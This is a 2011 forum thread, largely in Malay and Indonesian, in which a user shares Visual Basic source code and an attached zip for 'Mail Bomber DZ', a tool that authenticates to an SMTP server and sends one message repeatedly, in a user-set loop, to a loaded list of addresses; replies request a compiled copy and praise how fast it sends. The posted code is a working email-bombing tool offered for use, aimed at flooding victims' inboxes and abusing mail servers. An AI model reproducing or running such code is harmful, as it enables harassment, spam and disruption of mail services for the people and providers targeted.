Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Mail Bomber DZ [SmTP]
16-04-2011, 01:25 AM,
Post: #1
Smile  Mail Bomber DZ [SmTP]
Salam
this is mail bomber Smile

[Image: 2011-04-15_102040.png]

PHP Code:
Private Sub Command1_Click()
List1.AddItem (Text1.Text)
End Sub
Private Sub Command2_Click()
Dim i As Integer
If Text2.Text <> "" And Text3.Text <> "" Then
If Text6.Text <> "" Then
Form1
.Caption "Try to send .."
Set C CreateObject("CDO.Message")
C.From Text2.Text
C
.To Text6.Text
C
.Subject Text5.Text
C
.TextBody Text4.Text vbCrLf "thank you OnoFFwy !"
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = Combo1.Text
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = Combo2.Text
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = Text2.Text
C
.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Text3.Text
C
.Configuration.Fields.Update
For 1 To (Text7.Text)
C.Send
Form1
.Caption "Send ( " " / " Text7.Text " )" "..."
Next i
MsgBox 
("Send messag ok !")
Form1.Caption "Email Bomber DZ Beta ! "
Else: MsgBox ("type email list !")
End If
Else: 
MsgBox ("type username and password !")
End If
End Sub
Private Sub Command3_Click()
Dim sFileText As String
On Error 
GoTo errhandler
    CommonDialog1
.CancelError True
CommonDialog1
.Filter "Text Files (*.txt)|*.txt|*.*|RTF (*.rtf)|*.rtf"
CommonDialog1.ShowOpen
Open CommonDialog1
.FileName For Input As #1
Do While Not EOF(1)
    
Input #1, sFileText
    
List1.AddItem (sFileText)
    
Text6.Text sFileText ";" Text6.Text
    Loop
  Close 
#1
errhandler:
    
Select Case Err
    
Case 32755 '  Dialog Cancelled
        MsgBox "You cancelled the dialog box"
    End Select
End Sub
Private Sub Command4_Click()
Dim i As Integer
For i = 0 To List1.ListCount - 1
Text6.Text = List1.List(i) & ";" & Text2.Text
Next i
End Sub

Private Sub Command5_Click()
List1.Clear
Text4.Text = ""
Text6.Text = ""
Text5.Text = ""
Text1.Text = ""
End Sub
Private Sub Command6_Click()
List1.RemoveItem List1.ListIndex
End Sub 
Reply
16-04-2011, 04:31 PM,
Post: #2
RE: Mail Bomber DZ [SmTP]
download link x de ke..
PHP Code:
Get a Free Hosting Domain at " http://tny.cz/bcc10d6c " 

Reply
16-04-2011, 04:59 PM,
Post: #3
RE: Mail Bomber DZ [SmTP]
soskod dah bagi tu..sedot je la GayFace
  ▲  ʙᴇ ɴɪᴄᴇ ᴛᴏ ᴏᴛʜᴇʀs
▲ ▲ ( ⌣́,   ⌣̀ )\(^◡^ )[Image: ?r=OrangeCoral]

Reply
16-04-2011, 08:30 PM,
Post: #4
RE: Mail Bomber DZ [SmTP]
thANks awak..yg dah compile ade x ..hu hu...nak copy boleh tuan thread......
love u
[Image: bot.gif]

PHP Code:
printf(“Goodbye world \n”); 
Reply
17-04-2011, 12:43 AM,
Post: #5
RE: Mail Bomber DZ [SmTP]
Aik cdosys ? ingat ASP je pakai ;d
Code:
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = Combo1.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = Combo2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = Text2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Text3.Text
Reply
17-04-2011, 09:49 AM,
Post: #6
RE: Mail Bomber DZ [SmTP]
nih code vb net kan..
PHP Code:
Get a Free Hosting Domain at " http://tny.cz/bcc10d6c " 

Reply
18-04-2011, 05:23 AM, (This post was last modified: 18-04-2011, 05:26 AM by onoffwy.)
Post: #7
RE: Mail Bomber DZ [SmTP]
(17-04-2011, 12:43 AM)masokis Wrote: Aik cdosys ? ingat ASP je pakai ;d
Code:
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = Combo1.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = Combo2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = Text2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Text3.Text

Sorry
But I do not understand your language
Are you from India?
This program with source code
And i found This


Attached Files
.zip   mailer.zip (Size: 10,03 KB / Downloads: 13)
Reply
18-04-2011, 06:03 AM, (This post was last modified: 18-04-2011, 06:04 AM by 404myth.)
Post: #8
RE: Mail Bomber DZ [SmTP]
Thankss


Quote:Sorry
But I do not understand your language
Are you from India?
This program with source code
And i found
This


Lol GayFace
“Lie to a liar, for lies are his coin, Steal from a thief, for that is easy, lay a trap for a trickster and catch him at first attempt, but beware of an honest man”
Reply
18-04-2011, 06:56 PM,
Post: #9
RE: Mail Bomber DZ [SmTP]
(18-04-2011, 05:23 AM)onoffwy Wrote:
(17-04-2011, 12:43 AM)masokis Wrote: Aik cdosys ? ingat ASP je pakai ;d
Code:
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = Combo1.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = Combo2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = Text2.Text
C.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Text3.Text

Sorry
But I do not understand your language
Are you from India?
This program with source code
And i found This

im from london...but i know a little bit bahasa .....google translate lol .....sorry if my bahasa not good...
love u
[Image: bot.gif]

PHP Code:
printf(“Goodbye world \n”); 
Reply
24-04-2011, 05:28 PM,
Post: #10
RE: Mail Bomber DZ [SmTP]
Ni VB6 rasanya...tapi boleh tahan gak source ni sebab guna microsoft schema cdosys Smile,confrm hantar email laju habis..Big Grin
To follow the path,
Look to the master,
Follow the master,
Look through the master,
Become the master.
Reply
25-04-2011, 05:08 PM,
Post: #11
RE: Mail Bomber DZ [SmTP]
ijin lagi ach .. perasaan dari tadi ane minta ijin mulu yahh .. jadi malu ane nich
Reply


Forum Jump: